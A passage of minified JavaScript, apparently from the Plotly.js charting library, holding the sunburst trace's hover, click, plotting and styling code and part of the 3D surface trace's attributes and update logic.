"+q.root,Y()),q.text=_("hovertext")||_("text"),X("text")&&(W=q.text,S.isValidTextValue(W)&&fe.push(W)),N=[f(A,n,c.eventDataKeys)];var Q={trace:n,y:J,_x0:A._x0,_x1:A._x1,_y0:A._y0,_y1:A._y1,text:fe.join("<br>"),name:F||X("name")?n.name:void 0,color:_("hoverlabel.bgcolor")||C.color,borderColor:_("hoverlabel.bordercolor"),fontFamily:_("hoverlabel.font.family"),fontSize:_("hoverlabel.font.size"),fontColor:_("hoverlabel.font.color"),nameLength:_("hoverlabel.namelength"),textAlign:_("hoverlabel.align"),hovertemplate:F,hovertemplateLabels:q,eventData:N};v&&(Q.x0=G-A.rInscribed*A.rpx1,Q.x1=G+A.rInscribed*A.rpx1,Q.idealAlign=A.pxmid[0]<0?"left":"right"),T&&(Q.x=G,Q.idealAlign=G<0?"left":"right");var ie=[];L.loneHover(Q,{container:m._hoverlayer.node(),outerContainer:m._paper.node(),gd:s,inOut_bbox:ie}),N[0].bbox=ie[0],h._hasHoverLabel=!0}if(T){var j=l.select("path.surface");c.styleOne(j,A,n,s,{hovered:!0})}h._hasHoverEvent=!0,s.emit("plotly_hover",{points:N||[f(A,n,c.eventDataKeys)],event:M.event})}},E=function(A){var m=s._fullLayout,n=s._fullData[h.index],C=M.select(this).datum();if(h._hasHoverEvent&&(A.originalEvent=M.event,s.emit("plotly_unhover",{points:[f(C,n,c.eventDataKeys)],event:M.event}),h._hasHoverEvent=!1),h._hasHoverLabel&&(L.loneUnhover(m._hoverlayer.node()),h._hasHoverLabel=!1),T){var x=l.select("path.surface");c.styleOne(x,C,n,s,{hovered:!1})}},p=function(A){var m=s._fullLayout,n=s._fullData[h.index],C=v&&(g.isHierarchyRoot(A)||g.isLeaf(A)),x=g.getPtId(A),I=g.isEntry(A)?g.findEntryWithChild(i,x):g.findEntryWithLevel(i,x),k=g.getPtId(I),B={points:[f(A,n,c.eventDataKeys)],event:M.event};C||(B.nextLevel=k);var _=d.triggerHandler(s,"plotly_"+h.type+"click",B);if(_!==!1&&m.hovermode&&(s._hoverdata=[f(A,n,c.eventDataKeys)],L.click(s,M.event)),!C&&_!==!1&&!s._dragging&&!s._transitioning){P.call("_storeDirectGUIEdit",n,m._tracePreGUI[n.uid],{level:n.level});var F={data:[{level:k}],traces:[h.index]},O={frame:{redraw:!1,duration:c.transitionTime},transition:{duration:c.transitionTime,easing:c.transitionEasing},mode:"immediate",fromcurrent:!0};L.loneUnhover(m._hoverlayer.node()),P.call("animate",s,F,O)}};l.on("mouseover",w),l.on("mouseout",E),l.on("click",p)};function f(a,l,u){for(var s=a.data.data,y={curveNumber:l.index,pointNumber:s.i,data:l._input,fullData:l},c=0;c<u.length;c++){var b=u[c];b in a&&(y[b]=a[b])}return"parentString"in a&&!g.isHierarchyRoot(a)&&(y.parent=a.parentString),o(y,l,s.i),y}},2791:function(te,Z,e){var M=e(71828),P=e(7901),o=e(6964),L=e(53581);Z.findEntryWithLevel=function(t,r){var f;return r&&t.eachAfter(function(a){if(Z.getPtId(a)===r)return f=a.copy()}),f||t},Z.findEntryWithChild=function(t,r){var f;return t.eachAfter(function(a){for(var l=a.children||[],u=0;u<l.length;u++){var s=l[u];if(Z.getPtId(s)===r)return f=a.copy()}}),f||t},Z.isEntry=function(t){return!t.parent},Z.isLeaf=function(t){return!t.children},Z.getPtId=function(t){return t.data.data.id},Z.getPtLabel=function(t){return t.data.data.label},Z.getValue=function(t){return t.value},Z.isHierarchyRoot=function(t){return g(t)===""},Z.setSliceCursor=function(t,r,f){var a=f.isTransitioning;if(!a){var l=t.datum();a=f.hideOnRoot&&Z.isHierarchyRoot(l)||f.hideOnLeaves&&Z.isLeaf(l)}o(t,a?null:"pointer")};function S(t,r,f){return{color:Z.getOutsideTextFontKey("color",t,r,f),family:Z.getOutsideTextFontKey("family",t,r,f),size:Z.getOutsideTextFontKey("size",t,r,f)}}function d(t,r,f,a){var l=(a||{}).onPathbar,u=r.data.data,s=u.i,y=M.castOption(t,s,(l?"pathbar.textfont":"insidetextfont")+".color");return!y&&t._input.textfont&&(y=M.castOption(t._input,s,"textfont.color")),{color:y||P.contrast(u.color),family:Z.getInsideTextFontKey("family",t,r,f,a),size:Z.getInsideTextFontKey("size",t,r,f,a)}}Z.getInsideTextFontKey=function(t,r,f,a,l){var u=(l||{}).onPathbar,s=u?"pathbar.textfont":"insidetextfont",y=f.data.data.i;return M.castOption(r,y,s+"."+t)||M.castOption(r,y,"textfont."+t)||a.size},Z.getOutsideTextFontKey=function(t,r,f,a){var l=f.data.data.i;return M.castOption(r,l,"outsidetextfont."+t)||M.castOption(r,l,"textfont."+t)||a.size},Z.isOutsideText=function(t,r){return!t._hasColorscale&&Z.isHierarchyRoot(r)},Z.determineTextFont=function(t,r,f,a){return Z.isOutsideText(t,r)?S(t,r,f):d(t,r,f,a)},Z.hasTransition=function(t){return!!(t&&t.duration>0)},Z.getMaxDepth=function(t){return t.maxdepth>=0?t.maxdepth:1/0},Z.isHeader=function(t,r){return!(Z.isLeaf(t)||t.depth===r._maxDepth-1)};function g(t){return t.data.data.pid}Z.getParent=function(t,r){return Z.findEntryWithLevel(t,g(r))},Z.listPath=function(t,r){var f=t.parent;if(!f)return[];var a=r?[f.data[r]]:[f];return Z.listPath(f,r).concat(a)},Z.getPath=function(t){return Z.listPath(t,"label").join("/")+"/"},Z.formatValue=L.formatPieValue,Z.formatPercent=function(t,r){var f=M.formatPercent(t,0);return f==="0%"&&(f=L.formatPiePercent(t,r)),f}},87619:function(te,Z,e){te.exports={moduleType:"trace",name:"sunburst",basePlotModule:e(66888),categories:[],animatable:!0,attributes:e(57564),layoutAttributes:e(2654),supplyDefaults:e(17094),supplyLayoutDefaults:e(57034),calc:e(52147).calc,crossTraceCalc:e(52147).crossTraceCalc,plot:e(24714).plot,style:e(29969).style,colorbar:e(4898),meta:{}}},2654:function(te){te.exports={sunburstcolorway:{valType:"colorlist",editType:"calc"},extendsunburstcolors:{valType:"boolean",dflt:!0,editType:"calc"}}},57034:function(te,Z,e){var M=e(71828),P=e(2654);te.exports=function(L,S){function d(g,t){return M.coerce(L,S,P,g,t)}d("sunburstcolorway",S.colorway),d("extendsunburstcolors")}},24714:function(te,Z,e){var M=e(39898),P=e(674),o=e(81684).sX,L=e(91424),S=e(71828),d=e(63893),g=e(72597),t=g.recordMinTextSize,r=g.clearMinTextSize,f=e(14575),a=e(53581).getRotationAngle,l=f.computeTransform,u=f.transformInsideText,s=e(29969).styleOne,y=e(16688).resizeText,c=e(83523),b=e(7055),h=e(2791);Z.plot=function(p,A,m,n){var C=p._fullLayout,x=C._sunburstlayer,I,k,B=!m,_=!C.uniformtext.mode&&h.hasTransition(m);if(r("sunburst",C),I=x.selectAll("g.trace.sunburst").data(A,function(O){return O[0].trace.uid}),I.enter().append("g").classed("trace",!0).classed("sunburst",!0).attr("stroke-linejoin","round"),I.order(),_){n&&(k=n());var F=M.transition().duration(m.duration).ease(m.easing).each("end",function(){k&&k()}).each("interrupt",function(){k&&k()});F.each(function(){x.selectAll("g.trace").each(function(O){i(p,O,this,m)})})}else I.each(function(O){i(p,O,this,m)}),C.uniformtext.mode&&y(p,C._sunburstlayer.selectAll(".trace"),"sunburst");B&&I.exit().remove()};function i(p,A,m,n){var C=p._context.staticPlot,x=p._fullLayout,I=!x.uniformtext.mode&&h.hasTransition(n),k=M.select(m),B=k.selectAll("g.slice"),_=A[0],F=_.trace,O=_.hierarchy,z=h.findEntryWithLevel(O,F.level),N=h.getMaxDepth(F),G=x._size,J=F.domain,q=G.w*(J.x[1]-J.x[0]),ne=G.h*(J.y[1]-J.y[0]),fe=.5*Math.min(q,ne),X=_.cx=G.l+G.w*(J.x[1]+J.x[0])/2,W=_.cy=G.t+G.h*(1-J.y[0])-ne/2;if(!z)return B.remove();var V=null,Y={};I&&B.each(function(Be){Y[h.getPtId(Be)]={rpx0:Be.rpx0,rpx1:Be.rpx1,x0:Be.x0,x1:Be.x1,transform:Be.transform},!V&&h.isEntry(Be)&&(V=Be)});var Q=v(z).descendants(),ie=z.height+1,j=0,K=N;_.hasMultipleRoots&&h.isHierarchyRoot(z)&&(Q=Q.slice(1),ie-=1,j=1,K+=1),Q=Q.filter(function(Be){return Be.y1<=K});var oe=a(F.rotation);oe&&Q.forEach(function(Be){Be.x0+=oe,Be.x1+=oe});var re=Math.min(ie,N),le=function(Be){return(Be-j)/re*fe},pe=function(Be,$e){return[Be*Math.cos($e),-Be*Math.sin($e)]},we=function(Be){return S.pathAnnulus(Be.rpx0,Be.rpx1,Be.x0,Be.x1,X,W)},xe=function(Be){return X+w(Be)[0]*(Be.transform.rCenter||0)+(Be.transform.x||0)},ke=function(Be){return W+w(Be)[1]*(Be.transform.rCenter||0)+(Be.transform.y||0)};B=B.data(Q,h.getPtId),B.enter().append("g").classed("slice",!0),I?B.exit().transition().each(function(){var Be=M.select(this),$e=Be.select("path.surface");$e.transition().attrTween("d",function(Ze){var Ke=Te(Ze);return function(st){return we(Ke(st))}});var Xe=Be.select("g.slicetext");Xe.attr("opacity",0)}).remove():B.exit().remove(),B.order();var _e=null;if(I&&V){var be=h.getPtId(V);B.each(function(Be){_e===null&&h.getPtId(Be)===be&&(_e=Be.x1)})}var ge=B;I&&(ge=ge.transition().each("end",function(){var Be=M.select(this);h.setSliceCursor(Be,p,{hideOnRoot:!0,hideOnLeaves:!0,isTransitioning:!1})})),ge.each(function(Be){var $e=M.select(this),Xe=S.ensureSingle($e,"path","surface",function(yt){yt.style("pointer-events",C?"none":"all")});Be.rpx0=le(Be.y0),Be.rpx1=le(Be.y1),Be.xmid=(Be.x0+Be.x1)/2,Be.pxmid=pe(Be.rpx1,Be.xmid),Be.midangle=-(Be.xmid-Math.PI/2),Be.startangle=-(Be.x0-Math.PI/2),Be.stopangle=-(Be.x1-Math.PI/2),Be.halfangle=.5*Math.min(S.angleDelta(Be.x0,Be.x1)||Math.PI,Math.PI),Be.ring=1-Be.rpx0/Be.rpx1,Be.rInscribed=T(Be),I?Xe.transition().attrTween("d",function(yt){var bt=Fe(yt);return function(Ot){return we(bt(Ot))}}):Xe.attr("d",we),$e.call(c,z,p,A,{eventDataKeys:b.eventDataKeys,transitionTime:b.CLICK_TRANSITION_TIME,transitionEasing:b.CLICK_TRANSITION_EASING}).call(h.setSliceCursor,p,{hideOnRoot:!0,hideOnLeaves:!0,isTransitioning:p._transitioning}),Xe.call(s,Be,F,p);var Ze=S.ensureSingle($e,"g","slicetext"),Ke=S.ensureSingle(Ze,"text","",function(yt){yt.attr("data-notex",1)}),st=S.ensureUniformFontSize(p,h.determineTextFont(F,Be,x.font));Ke.text(Z.formatSliceLabel(Be,z,F,A,x)).classed("slicetext",!0).attr("text-anchor","middle").call(L.font,st).call(d.convertToTspans,p);var lt=L.bBox(Ke.node());Be.transform=u(lt,Be,_),Be.transform.targetX=xe(Be),Be.transform.targetY=ke(Be);var ut=function(yt,bt){var Ot=yt.transform;return l(Ot,bt),Ot.fontSize=st.size,t(F.type,Ot,x),S.getTextTransform(Ot)};I?Ke.transition().attrTween("transform",function(yt){var bt=Oe(yt);return function(Ot){return ut(bt(Ot),lt)}}):Ke.attr("transform",ut(Be,lt))});function Te(Be){var $e=h.getPtId(Be),Xe=Y[$e],Ze=Y[h.getPtId(z)],Ke;if(Ze){var st=(Be.x1>Ze.x1?2*Math.PI:0)+oe;Ke=Be.rpx1<Ze.rpx1?{x0:Be.x0,x1:Be.x1,rpx0:0,rpx1:0}:{x0:st,x1:st,rpx0:Be.rpx0,rpx1:Be.rpx1}}else{var lt,ut=h.getPtId(Be.parent);B.each(function(Le){if(h.getPtId(Le)===ut)return lt=Le});var yt=lt.children,bt;yt.forEach(function(Le,Pe){if(h.getPtId(Le)===$e)return bt=Pe});var Ot=yt.length,Ge=o(lt.x0,lt.x1);Ke={rpx0:fe,rpx1:fe,x0:Ge(bt/Ot),x1:Ge((bt+1)/Ot)}}return o(Xe,Ke)}function Fe(Be){var $e=Y[h.getPtId(Be)],Xe,Ze={x0:Be.x0,x1:Be.x1,rpx0:Be.rpx0,rpx1:Be.rpx1};if($e)Xe=$e;else if(V)if(Be.parent)if(_e){var Ke=(Be.x1>_e?2*Math.PI:0)+oe;Xe={x0:Ke,x1:Ke}}else Xe={rpx0:fe,rpx1:fe},S.extendFlat(Xe,Ce(Be));else Xe={rpx0:0,rpx1:0};else Xe={x0:oe,x1:oe};return o(Xe,Ze)}function Oe(Be){var $e=Y[h.getPtId(Be)],Xe,Ze=Be.transform;if($e)Xe=$e;else if(Xe={rpx1:Be.rpx1,transform:{textPosAngle:Ze.textPosAngle,scale:0,rotate:Ze.rotate,rCenter:Ze.rCenter,x:Ze.x,y:Ze.y}},V)if(Be.parent)if(_e){var Ke=Be.x1>_e?2*Math.PI:0;Xe.x0=Xe.x1=Ke}else S.extendFlat(Xe,Ce(Be));else Xe.x0=Xe.x1=oe;else Xe.x0=Xe.x1=oe;var st=o(Xe.transform.textPosAngle,Be.transform.textPosAngle),lt=o(Xe.rpx1,Be.rpx1),ut=o(Xe.x0,Be.x0),yt=o(Xe.x1,Be.x1),bt=o(Xe.transform.scale,Ze.scale),Ot=o(Xe.transform.rotate,Ze.rotate),Ge=Ze.rCenter===0?3:Xe.transform.rCenter===0?1/3:1,Le=o(Xe.transform.rCenter,Ze.rCenter),Pe=function(De){return Le(Math.pow(De,Ge))};return function(De){var Ee=lt(De),ye=ut(De),ae=yt(De),de=Pe(De),Me=pe(Ee,(ye+ae)/2),Ie=st(De),Qe={pxmid:Me,rpx1:Ee,transform:{textPosAngle:Ie,rCenter:de,x:Ze.x,y:Ze.y}};return t(F.type,Ze,x),{transform:{targetX:xe(Qe),targetY:ke(Qe),scale:bt(De),rotate:Ot(De),rCenter:de}}}}function Ce(Be){var $e=Be.parent,Xe=Y[h.getPtId($e)],Ze={};if(Xe){var Ke=$e.children,st=Ke.indexOf(Be),lt=Ke.length,ut=o(Xe.x0,Xe.x1);Ze.x0=ut(st/lt),Ze.x1=ut(st/lt)}else Ze.x0=Ze.x1=0;return Ze}}function v(p){return P.partition().size([2*Math.PI,p.height+1])(p)}Z.formatSliceLabel=function(p,A,m,n,C){var x=m.texttemplate,I=m.textinfo;if(!x&&(!I||I==="none"))return"";var k=C.separators,B=n[0],_=p.data.data,F=B.hierarchy,O=h.isHierarchyRoot(p),z=h.getParent(F,p),N=h.getValue(p);if(!x){var G=I.split("+"),J=function(j){return G.indexOf(j)!==-1},q=[],ne;if(J("label")&&_.label&&q.push(_.label),_.hasOwnProperty("v")&&J("value")&&q.push(h.formatValue(_.v,k)),!O){J("current path")&&q.push(h.getPath(p.data));var fe=0;J("percent parent")&&fe++,J("percent entry")&&fe++,J("percent root")&&fe++;var X=fe>1;if(fe){var W,V=function(j){ne=h.formatPercent(W,k),X&&(ne+=" of "+j),q.push(ne)};J("percent parent")&&!O&&(W=N/h.getValue(z),V("parent")),J("percent entry")&&(W=N/h.getValue(A),V("entry")),J("percent root")&&(W=N/h.getValue(F),V("root"))}}return J("text")&&(ne=S.castOption(m,_.i,"text"),S.isValidTextValue(ne)&&q.push(ne)),q.join("<br>")}var Y=S.castOption(m,_.i,"texttemplate");if(!Y)return"";var Q={};_.label&&(Q.label=_.label),_.hasOwnProperty("v")&&(Q.value=_.v,Q.valueLabel=h.formatValue(_.v,k)),Q.currentPath=h.getPath(p.data),O||(Q.percentParent=N/h.getValue(z),Q.percentParentLabel=h.formatPercent(Q.percentParent,k),Q.parent=h.getPtLabel(z)),Q.percentEntry=N/h.getValue(A),Q.percentEntryLabel=h.formatPercent(Q.percentEntry,k),Q.entry=h.getPtLabel(A),Q.percentRoot=N/h.getValue(F),Q.percentRootLabel=h.formatPercent(Q.percentRoot,k),Q.root=h.getPtLabel(F),_.hasOwnProperty("color")&&(Q.color=_.color);var ie=S.castOption(m,_.i,"text");return(S.isValidTextValue(ie)||ie==="")&&(Q.text=ie),Q.customdata=S.castOption(m,_.i,"customdata"),S.texttemplateString(Y,Q,C._d3locale,Q,m._meta||{})};function T(p){return p.rpx0===0&&S.isFullCircle([p.x0,p.x1])?1:Math.max(0,Math.min(1/(1+1/Math.sin(p.halfangle)),p.ring/2))}function w(p){return E(p.rpx1,p.transform.textPosAngle)}function E(p,A){return[p*Math.sin(A),-p*Math.cos(A)]}},29969:function(te,Z,e){var M=e(39898),P=e(7901),o=e(71828),L=e(72597).resizeText,S=e(43467);function d(t){var r=t._fullLayout._sunburstlayer.selectAll(".trace");L(t,r,"sunburst"),r.each(function(f){var a=M.select(this),l=f[0],u=l.trace;a.style("opacity",u.opacity),a.selectAll("path.surface").each(function(s){M.select(this).call(g,s,u,t)})})}function g(t,r,f,a){var l=r.data.data,u=!r.children,s=l.i,y=o.castOption(f,s,"marker.line.color")||P.defaultLine,c=o.castOption(f,s,"marker.line.width")||0;t.call(S,r,f,a).style("stroke-width",c).call(P.stroke,y).style("opacity",u?f.leaf.opacity:null)}te.exports={style:d,styleOne:g}},54532:function(te,Z,e){var M=e(7901),P=e(50693),o=e(12663).axisHoverFormat,L=e(5386).fF,S=e(9012),d=e(1426).extendFlat,g=e(30962).overrideAll;function t(a){return{valType:"boolean",dflt:!1}}function r(a){return{show:{valType:"boolean",dflt:!1},start:{valType:"number",dflt:null,editType:"plot"},end:{valType:"number",dflt:null,editType:"plot"},size:{valType:"number",dflt:null,min:0,editType:"plot"},project:{x:t(),y:t(),z:t()},color:{valType:"color",dflt:M.defaultLine},usecolormap:{valType:"boolean",dflt:!1},width:{valType:"number",min:1,max:16,dflt:2},highlight:{valType:"boolean",dflt:!0},highlightcolor:{valType:"color",dflt:M.defaultLine},highlightwidth:{valType:"number",min:1,max:16,dflt:2}}}var f=te.exports=g(d({z:{valType:"data_array"},x:{valType:"data_array"},y:{valType:"data_array"},text:{valType:"string",dflt:"",arrayOk:!0},hovertext:{valType:"string",dflt:"",arrayOk:!0},hovertemplate:L(),xhoverformat:o("x"),yhoverformat:o("y"),zhoverformat:o("z"),connectgaps:{valType:"boolean",dflt:!1,editType:"calc"},surfacecolor:{valType:"data_array"}},P("",{colorAttr:"z or surfacecolor",showScaleDflt:!0,autoColorDflt:!1,editTypeOverride:"calc"}),{contours:{x:r(),y:r(),z:r()},hidesurface:{valType:"boolean",dflt:!1},lightposition:{x:{valType:"number",min:-1e5,max:1e5,dflt:10},y:{valType:"number",min:-1e5,max:1e5,dflt:1e4},z:{valType:"number",min:-1e5,max:1e5,dflt:0}},lighting:{ambient:{valType:"number",min:0,max:1,dflt:.8},diffuse:{valType:"number",min:0,max:1,dflt:.8},specular:{valType:"number",min:0,max:2,dflt:.05},roughness:{valType:"number",min:0,max:1,dflt:.5},fresnel:{valType:"number",min:0,max:5,dflt:.2}},opacity:{valType:"number",min:0,max:1,dflt:1},opacityscale:{valType:"any",editType:"calc"},_deprecated:{zauto:d({},P.zauto,{}),zmin:d({},P.zmin,{}),zmax:d({},P.zmax,{})},hoverinfo:d({},S.hoverinfo),showlegend:d({},S.showlegend,{dflt:!1})}),"calc","nested");f.x.editType=f.y.editType=f.z.editType="calc+clearAxisTypes",f.transforms=void 0},18396:function(te,Z,e){var M=e(78803);te.exports=function(o,L){L.surfacecolor?M(o,L,{vals:L.surfacecolor,containerStr:"",cLetter:"c"}):M(o,L,{vals:L.z,containerStr:"",cLetter:"c"})}},43768:function(te,Z,e){var M=e(9330).gl_surface3d,P=e(9330).ndarray,o=e(9330).ndarray_linear_interpolate.d2,L=e(824),S=e(43907),d=e(71828).isArrayOrTypedArray,g=e(81697).parseColorScale,t=e(78614),r=e(21081).extractOpts;function f(n,C,x){this.scene=n,this.uid=x,this.surface=C,this.data=null,this.showContour=[!1,!1,!1],this.contourStart=[null,null,null],this.contourEnd=[null,null,null],this.contourSize=[0,0,0],this.minValues=[1/0,1/0,1/0],this.maxValues=[-1/0,-1/0,-1/0],this.dataScaleX=1,this.dataScaleY=1,this.refineData=!0,this.objectOffset=[0,0,0]}var a=f.prototype;a.getXat=function(n,C,x,I){var k=d(this.data.x)?d(this.data.x[0])?this.data.x[C][n]:this.data.x[n]:n;return x===void 0?k:I.d2l(k,0,x)},a.getYat=function(n,C,x,I){var k=d(this.data.y)?d(this.data.y[0])?this.data.y[C][n]:this.data.y[C]:C;return x===void 0?k:I.d2l(k,0,x)},a.getZat=function(n,C,x,I){var k=this.data.z[C][n];return k===null&&this.data.connectgaps&&this.data._interpolatedZ&&(k=this.data._interpolatedZ[C][n]),x===void 0?k:I.d2l(k,0,x)},a.handlePick=function(n){if(n.object===this.surface){var C=(n.data.index[0]-1)/this.dataScaleX-1,x=(n.data.index[1]-1)/this.dataScaleY-1,I=Math.max(Math.min(Math.round(C),this.data.z[0].length-1),0),k=Math.max(Math.min(Math.round(x),this.data._ylength-1),0);n.index=[I,k],n.traceCoordinate=[this.getXat(I,k),this.getYat(I,k),this.getZat(I,k)],n.dataCoordinate=[this.getXat(I,k,this.data.xcalendar,this.scene.fullSceneLayout.xaxis),this.getYat(I,k,this.data.ycalendar,this.scene.fullSceneLayout.yaxis),this.getZat(I,k,this.data.zcalendar,this.scene.fullSceneLayout.zaxis)];for(var B=0;B<3;B++){var _=n.dataCoordinate[B];_!=null&&(n.dataCoordinate[B]*=this.scene.dataScale[B])}var F=this.data.hovertext||this.data.text;return Array.isArray(F)&&F[k]&&F[k][I]!==void 0?n.textLabel=F[k][I]:F?n.textLabel=F:n.textLabel="",n.data.dataCoordinate=n.dataCoordinate.slice(),this.surface.highlight(n.data),this.scene.glplot.spikes.position=n.dataCoordinate,!0}};function l(n){var C=n[0].rgb,x=n[n.length-1].rgb;return C[0]===x[0]&&C[1]===x[1]&&C[2]===x[2]&&C[3]===x[3]}var u=[2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277,281,283,293,307,311,313,317,331,337,347,349,353,359,367,373,379,383,389,397,401,409,419,421,431,433,439,443,449,457,461,463,467,479,487,491,499,503,509,521,523,541,547,557,563,569,571,577,587,593,599,601,607,613,617,619,631,641,643,647,653,659,661,673,677,683,691,701,709,719,727,733,739,743,751,757,761,769,773,787,797,809,811,821,823,827,829,839,853,857,859,863,877,881,883,887,907,911,919,929,937,941,947,953,967,971,977,983,991,997,1009,1013,1019,1021,1031,1033,1039,1049,1051,1061,1063,1069,1087,1091,1093,1097,1103,1109,1117,1123,1129,1151,1153,1163,1171,1181,1187,1193,1201,1213,1217,1223,1229,1231,1237,1249,1259,1277,1279,1283,1289,1291,1297,1301,1303,1307,1319,1321,1327,1361,1367,1373,1381,1399,1409,1423,1427,1429,1433,1439,1447,1451,1453,1459,1471,1481,1483,1487,1489,1493,1499,1511,1523,1531,1543,1549,1553,1559,1567,1571,1579,1583,1597,1601,1607,1609,1613,1619,1621,1627,1637,1657,1663,1667,1669,1693,1697,1699,1709,1721,1723,1733,1741,1747,1753,1759,1777,1783,1787,1789,1801,1811,1823,1831,1847,1861,1867,1871,1873,1877,1879,1889,1901,1907,1913,1931,1933,1949,1951,1973,1979,1987,1993,1997,1999,2003,2011,2017,2027,2029,2039,2053,2063,2069,2081,2083,2087,2089,2099,2111,2113,2129,2131,2137,2141,2143,2153,2161,2179,2203,2207,2213,2221,2237,2239,2243,2251,2267,2269,2273,2281,2287,2293,2297,2309,2311,2333,2339,2341,2347,2351,2357,2371,2377,2381,2383,2389,2393,2399,2411,2417,2423,2437,2441,2447,2459,2467,2473,2477,2503,2521,2531,2539,2543,2549,2551,2557,2579,2591,2593,2609,2617,2621,2633,2647,2657,2659,2663,2671,2677,2683,2687,2689,2693,2699,2707,2711,2713,2719,2729,2731,2741,2749,2753,2767,2777,2789,2791,2797,2801,2803,2819,2833,2837,2843,2851,2857,2861,2879,2887,2897,2903,2909,2917,2927,2939,2953,2957,2963,2969,2971,2999];function s(n,C){if(n<C)return 0;for(var x=0;Math.floor(n%C)===0;)n/=C,x++;return x}function y(n){for(var C=[],x=0;x<u.length;x++){var I=u[x];C.push(s(n,I))}return C}function c(n){for(var C=y(n),x=n,I=0;I<u.length;I++)if(C[I]>0){x=u[I];break}return x}function b(n,C){if(!(n<1||C<1)){for(var x=y(n),I=y(C),k=1,B=0;B<u.length;B++)k*=Math.pow(u[B],Math.max(x[B],I[B]));return k}}function h(n){if(n.length!==0){for(var C=1,x=0;x<n.length;x++)C=b(C,n[x]);return C}}a.calcXnums=function(n){var C,x=[];for(C=1;C<n;C++){var I=this.getXat(C-1,0),k=this.getXat(C,0);k!==I&&I!==void 0&&I!==null&&k!==void 0&&k!==null?x[C-1]=Math.abs(k-I):x[C-1]=0}var B=0;for(C=1;C<n;C++)B+=x[C-1];for(C=1;C<n;C++)x[C-1]===0?x[C-1]=1:x[C-1]=Math.round(B/x[C-1]);return x},a.calcYnums=function(n){var C,x=[];for(C=1;C<n;C++){var I=this.getYat(0,C-1),k=this.getYat(0,C);k!==I&&I!==void 0&&I!==null&&k!==void 0&&k!==null?x[C-1]=Math.abs(k-I):x[C-1]=0}var B=0;for(C=1;C<n;C++)B+=x[C-1];for(C=1;C<n;C++)x[C-1]===0?x[C-1]=1:x[C-1]=Math.round(B/x[C-1]);return x};var i=[1,2,4,6,12,24,36,48,60,120,180,240,360,720,840,1260],v=i[9],T=i[13];a.estimateScale=function(n,C){for(var x=C===0?this.calcXnums(n):this.calcYnums(n),I=1+h(x);I<v;)I*=2;for(;I>T;)I--,I/=c(I),I++,I<v&&(I=T);var k=Math.round(I/n);return k>1?k:1};function w(n,C,x){var I=x[8]+x[2]*C[0]+x[5]*C[1];return n[0]=(x[6]+x[0]*C[0]+x[3]*C[1])/I,n[1]=(x[7]+x[1]*C[0]+x[4]*C[1])/I,n}function E(n,C,x){return p(n,C,w,x),n}function p(n,C,x,I){for(var k=[0,0],B=n.shape[0],_=n.shape[1],F=0;F<B;F++)for(var O=0;O<_;O++)x(k,[F,O],I),n.set(F,O,o(C,k[0],k[1]));return n}a.refineCoords=function(n){for(var C=this.dataScaleX,x=this.dataScaleY,I=n[0].shape[0],k=n[0].shape[1],B=Math.floor(n[0].shape[0]*C+1)|0,_=Math.floor(n[0].shape[1]*x+1)|0,F=1+I+1,O=1+k+1,z=P(new Float32Array(F*O),[F,O]),N=[1/C,0,0,0,1/x,0,0,0,1],G=0;G<n.length;++G){this.surface.padField(z,n[G]);var J=P(new Float32Array(B*_),[B,_]);E(J,z,N),n[G]=J}};function A(n,C){for(var x=!1,I=0;I<n.length;I++)if(C===n[I]){x=!0;break}x===!1&&n.push(C)}a.setContourLevels=function(){var n=[[],[],[]],C=[!1,!1,!1],x=!1,I,k,B;for(I=0;I<3;++I)if(this.showContour[I]&&(x=!0,this.contourSize[I]>0&&this.contourStart[I]!==null&&this.contourEnd[I]!==null&&this.contourEnd[I]>this.contourStart[I]))for(C[I]=!0,k=this.contourStart[I];k<this.contourEnd[I];k+=this.contourSize[I])B=k*this.scene.dataScale[I],A(n[I],B);if(x){var _=[[],[],[]];for(I=0;I<3;++I)this.showContour[I]&&(_[I]=C[I]?n[I]:this.scene.contourLevels[I]);this.surface.update({levels:_})}},a.update=function(n){var C=this.scene,x=C.fullSceneLayout,I=this.surface,k=g(n),B=C.dataScale,_=n.z[0].length,F=n._ylength,O=C.contourLevels;this.data=n;var z,N,G,J,q=[];for(z=0;z<3;z++)for(q[z]=[],N=0;N<_;N++)q[z][N]=[];for(N=0;N<_;N++)for(G=0;G<F;G++)q[0][N][G]=this.getXat(N,G,n.xcalendar,x.xaxis),q[1][N][G]=this.getYat(N,G,n.ycalendar,x.yaxis),q[2][N][G]=this.getZat(N,G,n.zcalendar,x.zaxis);if(n.connectgaps)for(n._emptypoints=S(q[2]),L(q[2],n._emptypoints),n._interpolatedZ=[],N=0;N<_;N++)for(n._interpolatedZ[N]=[],G=0;G<F;G++)n._interpolatedZ[N][G]=q[2][N][G];for(z=0;z<3;z++)for(N=0;N<_;N++)for(G=0;G<F;G++)J=q[z][N][G],J==null?q[z][N][G]=NaN:J=q[z][N][G]*=B[z];for(z=0;z<3;z++)for(N=0;N<_;N++)for(G=0;G<F;G++)J=q[z][N][G],J!=null&&(this.minValues[z]>J&&(this.minValues[z]=J),this.maxValues[z]<J&&(this.maxValues[z]=J));for(z=0;z<3;z++)this.objectOffset[z]=.5*(this.minValues[z]+this.maxValues[z]);for(z=0;z<3;z++)for(N=0;N<_;N++)for(G=0;G<F;G++)J=q[z][N][G],J!=null&&(q[z][N][G]-=this.objectOffset[z]);var ne=[P(new Float32Array(_*F),[_,F]),P(new Float32Array(_*F),[_,F]),P(new Float32Array(_*F),[_,F])];for(z=0;z<3;z++)for(N=0;N<_;N++)for(G=0;G<F;G++)ne[z].set(N,G,q[z][N][G]);q=[];var fe={colormap:k,levels:[[],[],[]],showContour:[!0,!0,!0],showSurface:!n.hidesurface,contourProject:[[!1,!1,!1],[!1,!1,!1],[!1,!1,!1]],contourWidth:[1,1,1],contourColor:[[1,1,1,1],[1,1,1,1],[1,1,1,1]],contourTint:[1,1,1],dynamicColor:[[1,1,1,1],[1,1,1,1],[1,1,1,1]],dynamicWidth:[1,1,1],dynamicTint:[1,1,1],opacityscale:n.opacityscale,opacity:n.opacity},X=r(n);if(fe.intensityBounds=[X.min,X.max],n.surfacecolor){var W=P(new Float32Array(_*F),[_,F]);for(N=0;N<_;N++)for(G=0;G<F;G++)W.set(N,G,n.surfacecolor[G][N]);ne.push(W)}else 